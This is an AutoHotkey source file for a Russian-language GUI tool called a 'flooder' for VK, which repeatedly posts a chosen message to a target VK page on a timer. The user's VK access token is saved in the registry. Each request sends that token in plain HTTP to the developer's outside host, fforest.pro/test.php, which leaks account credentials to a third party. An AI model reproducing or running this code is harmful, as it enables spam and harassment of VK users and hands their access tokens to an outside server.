global _text global _time global _domin global _token global timer Reg

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
global _text := ""
global _time := ""
global _domin := ""
global _token := ""
global timer := ""
RegRead, _text, HKCU, FForest\SendToVk, text
RegRead, _time, HKCU, FForest\SendToVk, time
RegRead, _domin, HKCU, FForest\SendToVk, domin
RegRead, _token, HKCU, FForest\SendToVk, token
Gui, Main:+LastFound -Border -Caption
Gui, Main:Margin, 0, 0
Gui, Main:Font, bold s9 cFFFFFF, Verdana
Gui, Main:Color, 282828, 282828
Gui, Main:Add, Text, x0 y9, % "_______________________________________________________________________"
Gui, Main:Add, text, x550 y3 gMini hwndhwndMini vhwndMini,_
Gui, Main:Add, text, x565 y5 gGuiClose hwndhwndClose vhwndClose,X
Gui, Main:Add, text, x2 y3 w550 h19 +Center gMove vheader CFFD700, % "Флудер for VK by FForest"
Gui, Main:Add, edit, x180 y40 w390 h20 vtext gsaveVar , % _text
Gui, Main:Add, edit, x180 y70 w390 h20 vtoken gsaveVar, % _token
Gui, Main:Add, edit, x180 y100 w390 h20 vdomin gsaveVar, % _domin
Gui, Main:Add, edit, x180 y130 w390 h20 vtime gsaveVar, % _time
Gui, Main:Add, button, x180 y160 w100 vStart gStart, Start
Gui, Main:Add, button, x330 y160 w100 vPause gPause, Pause
Gui, Main:Add, button, x470 y160 w100 vStop gStop, Stop
Gui, Main:Add, text, x5 y43 w165 +Right, % "Message -->"
Gui, Main:Add, text, x5 y73 w165 +Right, % "Access Token -->"
Gui, Main:Add, text, x5 y103 w165 +Right, % "Domin -->"
Gui, Main:Add, text, x5 y133 w165 +Right, % "Time ms -->"
Gui, Main:Add, GroupBox, % "x0 y-7 w580 h" (200 + 7)
Gui, Main:Show, w580 h200, % "Флудер for VK by FForest"
SetTimer, CheckHover, 100
return
CheckHover:
MouseGetPos, , , , OutputVarControl, 2
MouseGetPos, , , gui_id, control
WinGetTitle, title, ahk_id %gui_id%
if (!OutputVarControl)
{
ToolTip
Gui, Main:Font, bold s9 cFFFFFF, Verdana
GuiControl, Main:Font, hwndMini
GuiControl, Main:Font, hwndClose
Return
}
if (OutputVarControl == hwndClose)
{
ToolTip, % "Закрыть"
Gui, Main:Font, bold s9 cFFFFFF, Verdana
GuiControl, Main:Font, hwndMini
Gui, Main:Font, bold s9 cRed, Verdana
GuiControl, Main:Font, hwndClose
}
else if (OutputVarControl == hwndMini)
{
ToolTip, % "Свернуть"
Gui, Main:Font, cFFFFFF
GuiControl, Main:Font, hwndClose
Gui, Main:Font, bold s9 cRed, Verdana
GuiControl, Main:Font, hwndMini
}
else
{
ToolTip
Gui, Main:Font, bold s9 cFFFFFF, Verdana
GuiControl, Main:Font, hwndMini
GuiControl, Main:Font, hwndClose
}
Return
Move:
PostMessage, 0xA1, 2,,, A
return
Mini:
Gui, Main:Minimize
return
GuiClose:
ExitApp
return
Pause:
if (A_IsPaused)
Pause, off
else
Pause, on
return
Start:
if (_time < 1000)
MsgBox, 0x10, Ошибка,% "Интервал отправки сообщенений не должен быть меньше 1000мс`n`nУ Вас: " _time
else
{
GuiControl, +Disabled, text
GuiControl, +Disabled, token,
GuiControl, +Disabled, domin,
GuiControl, +Disabled, time,
Gosub, sendToVk
SetTimer, sendToVk, % _time
SetTimer, timers, 1000
}
return
Stop:
GuiControl, -Disabled, text,
GuiControl, -Disabled, token
GuiControl, -Disabled, domin
GuiControl, -Disabled, time
SetTimer, sendToVk, off
SetTimer, timers, off
GuiControl, Main:, header, % "Флудер for VK by FForest"
return
saveVar:
Gui, Main:submit, nohide
if (A_GuiControl == "text")
{
_text := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, text, % _text
Return
}
else if (A_GuiControl == "time")
{
_time := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, time, % _time
Return
}
else if (A_GuiControl == "domin")
{
_domin := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, domin, % _domin
Return
}
else if (A_GuiControl == "token")
{
_token := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, token, % _token
Return
}
return
timers:
if (timer > 0)
{
timer--
GuiControl, Main:, header, % "Флудер for VK by FForest | " times(timer) " | " ( _status ? "Done" : "Error") " | Sent: " Round
}
return
sendToVk:
if (!_token || !_domin || !_text)
{
MsgBox, 0x10, Ошибка,% "Поле`n" (_token ? "" : "`n*Access Token`n")(_domin ? "" : "`n*Domin`n")(_text ? "" : "`n*Message`n") "`nдолжно быть заполнено!"
SetTimer, sendToVk, off
return
}
GuiControl, Main:, header, % "Флудер for VK by FForest | SENDING ..."
result := curl("GET", "http://fforest.pro/test.php?message=" _text "&access_token=" _token "&domain=" _domin)
timer := _time // 1000
_status := RegExMatch(result, "{""response"":[0-9]+}")
Round++
if (!_status)
{
loop, 5
SoundBeep
MsgBox, 0x10, Ошибка | Сделай скриншот и отправь разработчику,% result
ExitApp
}
return
times(sec)
{
h := sec/3600 ^ 0
m := (sec-h*3600)/60 ^ 0
s := sec-h*3600-m*60
return h ":" m ":" s
}
curl(method, adress, package := "", user_agent := "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36 u01-05", error_log := 0, time_out := 0)
{
if (!RegExMatch(adress, "^http[s]?:\/\/.*\..*$"))
return error_log ? "Invalid URL adress (#1)" : false
else if (!DllCall("Wininet.dll\InternetGetConnectedState", "Str", 0x20, "Int", 0))
return error_log ? "Not internet connection (#2)" : false
try
{
temp_package := ""
for k, v in package
temp_package .= (A_Index > 1 ? "&" : (method == "POST" ? "" : "?")) k "=" v
http := ComObjCreate("WinHttp.WinHttpRequest.5.1")
http.Open(method, adress (method != "POST" ? temp_package : ""), false)
http.SetRequestHeader("Referer", adress)
http.SetRequestHeader("User-Agent", user_agent)
http.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
http.SetRequestHeader("Pragma", "no-cache")
http.SetRequestHeader("Cache-Control", "no-cache, no-store")
http.SetRequestHeader("If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT")
http.Send((method == "POST" ? temp_package : ""))
http.WaitForResponse(time_out ? time_out : 0)
if (!StrLen(http.ResponseText))
return error_log ? "Empty response (#3)" : false
else
{
if (http.Status !== 200)
return error_log ? http.Status "(" http.StatusText ") (#4)" : false
else
{
ResponseText := RegExReplace(http.ResponseText, "<br>", "`n")
ResponseText := RegExReplace(ResponseText, "<t>", "`t")
ResponseText := RegExReplace(ResponseText, "<br \/>", "`n")
return ResponseText
}
}
}
catch e
return error_log ? e.message "(#5)" : false
}